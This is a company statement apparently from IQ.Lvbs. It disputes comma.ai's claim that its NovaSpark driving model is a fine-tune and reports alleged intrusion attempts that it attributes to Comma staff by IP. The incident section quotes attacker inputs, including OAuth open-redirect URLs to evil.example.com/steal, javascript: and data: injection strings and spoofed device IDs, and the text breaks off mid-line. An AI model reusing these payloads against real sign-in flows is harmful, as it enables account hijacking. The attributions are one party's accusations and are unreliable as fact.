Recent Security Breach Attempts and Fine-Tuning Claims Against NovaSpark IQ published a comparison of its NovaSpark driving model against comma.ai's Rebellious Hope, reporting that 0 of 355 parameter tensors match and that overall weight correlation across roughly 47.6 million weights is 0.0003, contradicting Harald Schaefer's claim at Comma that NovaSpark is a "short fine-tuned" version of Rebellious Hope. IQ reported NovaSpark has 56,032,080 learned parameters versus 47,685,584 for Rebellious Hope (a 17.5% increase), 15,364,288 vision parameters versus 7,017,792, and about 57% higher estimated compute, and said the IQ.Lvbs team was banned from the Comma.ai Community Discord server on October 8th before it could respond. Statement A Note on Recent Security Breach Attempts and Fine-Tuning Claims Against NovaSpark Recently, there's been an accusation made by Harald Schaefer at Comma circulating that IQ's NovaSpark driving model is a “short fine-tuned” version of comma.ai's Rebellious Hope model. Let's get something straight: NovaSpark was trained independently and it is not a “fine-tune” or distillation of Rebellious Hope. When we actually compare NovaSpark with Rebellious Hope, the findings contradict Comma’s claim of a short fine-tune with an unchanged policy, as shown below. These findings result from comparing the released IQ R3 step2000 NovaSpark checkpoint with Rebellious Hope, the model Comma claims NovaSpark was fine-tuned from. - 0/355 of NovaSpark’s parameter tensors match Rebellious Hope 0/134 backbone tensors and 0/221 policy tensors . All 221 corresponding policy tensors differ as complete tensors, including after FP16 rounding. - NovaSpark’s vision backbone has approximately 2.2 times as many parameters. Rebellious Hope has 12 vision blocks, arranged 2/2/6/2 across four stages, while NovaSpark has 18, arranged 2/2/10/4, with feed-forward MLP expansion increased from 3× to 4×. NovaSpark has 15,364,288 vision parameters, compared with Rebellious Hope’s 7,017,792. - NovaSpark has 8,346,496 more learned parameters overall 56,032,080 versus 47,685,584 , an increase of 17.5%, and its estimated computational workload is approximately 57% higher. - Overall weight correlation is essentially zero. Across approximately 47.6 million weights, the reported correlation is 0.0003. A separate comparison of 116 corresponding weight matrices, covering 41.8 million coefficients, shows a median Pearson correlation of around 0.000010 1 indicates perfect positive correlation, 0 indicates no linear correlation. - Relative to RH’s weight magnitudes, the measured weight differences are 104.5% for vision, 103.6% for point policy, 128.0% for off-policy and 126.8% for on-policy. - Every policy section independently shows near-zero weight correlation. The median correlations are −0.002027 for point policy, −0.000599 for off-policy and +0.000453 for on-policy. - Individual vision components are also nearly entirely uncorrelated. The stem, all four vision stages, downsampling layers, final convolution, and output projection have correlations with Rebellious Hope ranging from approximately −0.007 to +0.03. - The internal parameter distributions are dramatically different, as NovaSpark's normalization weights cluster around 0.99 vs RH's median of 0.26. Token-mixer center coefficients are approximately 0.01 in NovaSpark versus 1.0 in RH. - NovaSpark was exported using PyTorch’s older exporter with ONNX opset 18 and full-precision FP32 weights. RH was exported using Comma’s newer exporter with opset 20 and half-precision FP16 weights. - Comparing the vision stages in Netron, NovaSpark has four residual blocks in its final vision stage, compared to Rebellious Hope’s two. NovaSpark’s longer exported chain also reflects GELU activations expanded into individual arithmetic operations. - NovaSpark’s vision-to-policy junction also demonstrates significant differences in the preparation steps and shape operations. - NovaSpark’s temporal transformer blocks also show significant architectural differences. - NovaSpark also has a distinct output assembly. - NovaSpark also incorporates navigation in its training and uses a new input, PolyRouteLine64 when available , with RouteLine16 as a backup input only used when navigation is active. This helps NovaSpark remember navigation instructions over a much longer context window. Additionally, the RunPod statement below shows our cloud GPU spending for NovaSpark’s data labeling with the teacher, pre training, post training, scoring, and testing. Unfortunately, before we were able to defend ourselves, the entire IQ.Lvbs team was banned from the Comma.ai Community Discord server the following morning, on October 8th at 10:42 am. No explanation for this ban was communicated to us. Having said that, the claim that NovaSpark is Rebellious Hope with a short fine-tune and an unchanged policy does not survive scrutiny, and we’re not sure how Comma came to that conclusion, especially considering that they do not possess NovaSpark’s model weights or ONNX. Attempts to Steal NovaSpark and Access Users’ Devices From October 7 to 14, we faced repeated attempts to steal NovaSpark, access users’ devices and private driving files, and exploit our sign-in system. The first requests came from an IP assigned to Comma.ai Inc. Our logs link usernames josh sp clark and haraschax to that same IP. Later sessions used konn3kt-device-1.0c , the same client identifier used by josh sp clark ’s device at Comma’s IP. They attempted to obtain repository credentials, evade model-access restrictions with falsified device identities and made-up serials, bypass ownership checks to potentially reach users’ devices and private files, and exploit sign-ins through redirects to addresses such as evil.example.com/steal and script injection. They kept changing software identifiers, download URLs, and device IDs after access was denied. They obtained encrypted NovaSpark files, but their requests for the decryption key were denied. We found no evidence that model weights or decryption keys were obtained. Comma’s IP targets NovaSpark and its decryption key The first requests came from 67.208.245.10 , an IP assigned to Comma.ai Inc. Our account audit also places josh sp clark and haraschax at that IP. Just four minutes after registering, device f9b4c67e4bda0b7c serial DEV-653886953a4ee144 asked for NovaSpark’s metadata, its encrypted .iqc file, and the key at /assets/iqc-keys/ NOVASPARK KEY ID . It then attempted to access another internal development model named NovaScala. All four requests returned 403 access denied . That afternoon, Comma’s IP requested current and older NovaSpark files through file-history and direct-download URLs. It also requested IQ.Pilot’s compiled model-selector modules: git auth , which handles authentication for model-file requests, and multiple versions of fetcher , which retrieves the model catalog. We believe these binaries were being examined for embedded repository credentials and another way to access NovaSpark’s proprietary weights. The same IP requested registration.py , cloud client.py and pairing dialog.py , plus hephaestusd , manage hephaestusd , cloud routes , iqtelemetryd and iquploaderd . These programs handle device registration, account pairing, live connections and data transfers, and describe how a device gets recognized by our services and how it sends and receives files. Cloudflare blocked all requests for the compiled fetcher module at 3:53:27 and 3:53:43 p.m. Comma’s IP did download IQ.Pilot’s default comma vision and driving policy models ~77 MB by using the public installation repository’s API with ref=release , which returned 200. The URL was git.konn3kt.com/api/v1/repos/IQ.Lvbs/IQ.Pilot/raw/iqpilot/selfdrive/iqmodeld/default model/driving policy c210m tinygrad.pkl?ref=release . Meanwhile, josh sp clark ’s device 0aa8b488ece5f0ff made 34 requests for the model catalog from Comma’s IP. During those attempts, its User-Agent header the software identity declared in each request changed from openpilot-1.0c to konn3kt-device-1.0c , then to konn3kt-device-IQ.Pilot 1.0c . We believe the requester was trying to pass as a client our model service would accept and gain access to NovaSpark. All 34 requests returned 403. By that evening, requests from Comma’s IP were appearing under iqos-fetch and konn3kt iq auth , names used by our internal download accounts. We believe IQ.Pilot’s proprietary binaries were decompiled violating our license and our Terms of Service to extract Fernet-encrypted personal access tokens PATs for these accounts. The credentials identified in our investigation are iqos-fetch token ID 50 from iqos-image-fetch , used for firmware and maps, and konn3kt iq auth token ID 68, used for model repositories. A PAT authenticates repository requests as its account, allowing access to the private files that account can read, but NovaSpark’s decryption key still remained inaccessible. At 5:35 p.m., another josh sp clark device, 7a3086fff1c24499 , requested lebrowski a501760a amd policy oob.pkl through /assets/hf/egpu/oob/ from Comma’s IP. It received a 307 redirect to another download location. At 5:41 p.m., that device downloaded the 126 MB encrypted NovaSpark file and made two requests for its decryption key. The file request returned 200, but both decryption key requests required to view the model/steal its weights returned 403 denied . That evening, a separate account, 361 MyMindBlowingScience , tried malformed registration tokens, setup-claim redemption and a guessed /assets/token URL. The attempts targeted ways to obtain credentials for the model service. Its IPv4 and IPv6 sessions are linked by device 2ec0fbebcf1223d9 , and these attempts failed, along with 12 more requests to the model service. Cross-device access and OAuth exploit attempts On October 8, we identified about 24 signed-in requests to the repository website under konn3kt iq auth , the same internal account name seen in Comma’s IP traffic. Website access would let someone browse the account’s repositories and find private files by name, instead of guessing download URLs. That evening, M247 VPN address 2a0d:5600:19:41::12 tried changing device IDs in requests for live connections and driving files. The IDs included testdongle , x, a1b2c3d4e5f60718 , 0000000000000000 and deadbeefdeadbeef . /v1/route/x/files returned 401, denying access. Other requests sought driving files under d5b9e11f35bc74e4 and the all-zero ID. As part of this prodding, they also attempted to pull information across different device IDs. This would have allowed a given device to access the private driving data and logs of other devices. Thankfully, our backend’s ownership checks rejected these requests. The session also tried to open 17 live device connections through WebSocket, using five IDs. All returned 401. The requests used /ws/v2/ with the IDs testdongle , x, 3289dd334ed114f5 , 1753ff4a150b039d , and 3a865431577f318c . Several requests used the user agent konn3kt-device-1.0c , also sent by josh sp clark ’s device from Comma’s IP the day before. The same session targeted our OAuth sign-in flow, which returns users to our site after authentication. It supplied api-iqlabs.konn3kt.com.evil.example as the return address, with /steal as its destination path. The supplied address began with our hostname, making it look like ours, but the actual domain ended in evil.example . We believe these requests were attempts to capture an OAuth token exchanged during sign-in with an identity provider, such as Google or GitHub, and use it to impersonate a user or gain authenticated access to our services. Other possible aims include exploiting the backend to steal another user’s token or testing for a CORS misconfiguration that could expose protected responses to an outside website. They also submitted outside destinations through /auth/github , /v2/auth/h/redirect and /v2/auth/ , using the redirect, state and redirect after fields. Variations included //evil.example.com/steal , backslashes in place of normal URL separators, and an outside redirect nested inside a localhost URL. These variations tested whether differences in how the server and browser interpreted the destination could let an outside address past the server’s checks. Two more inputs were http://localhost:9999/ and \ email protected\ https://iqlvbs.com/cdn-cgi/l/email-protection http://localhost: likely probing for vulnerabilities . They also guessed \ email protected\ https://iqlvbs.com/cdn-cgi/l/email-protection /auth /v2/auth/token , /v2/auth/session , /v2/auth/refresh , /v2/auth/keys and /v2/auth/pubkey . All five returned 404 not found . The login request was api-iqlabs.konn3kt.com/auth/github?redirect=https%3A%2F%2Fapi-iqlabs.konn3kt.com.evil.example%2Fsteal . They also put executable instructions where the login system expected a return address. javascript:alert 1 and data:text/html,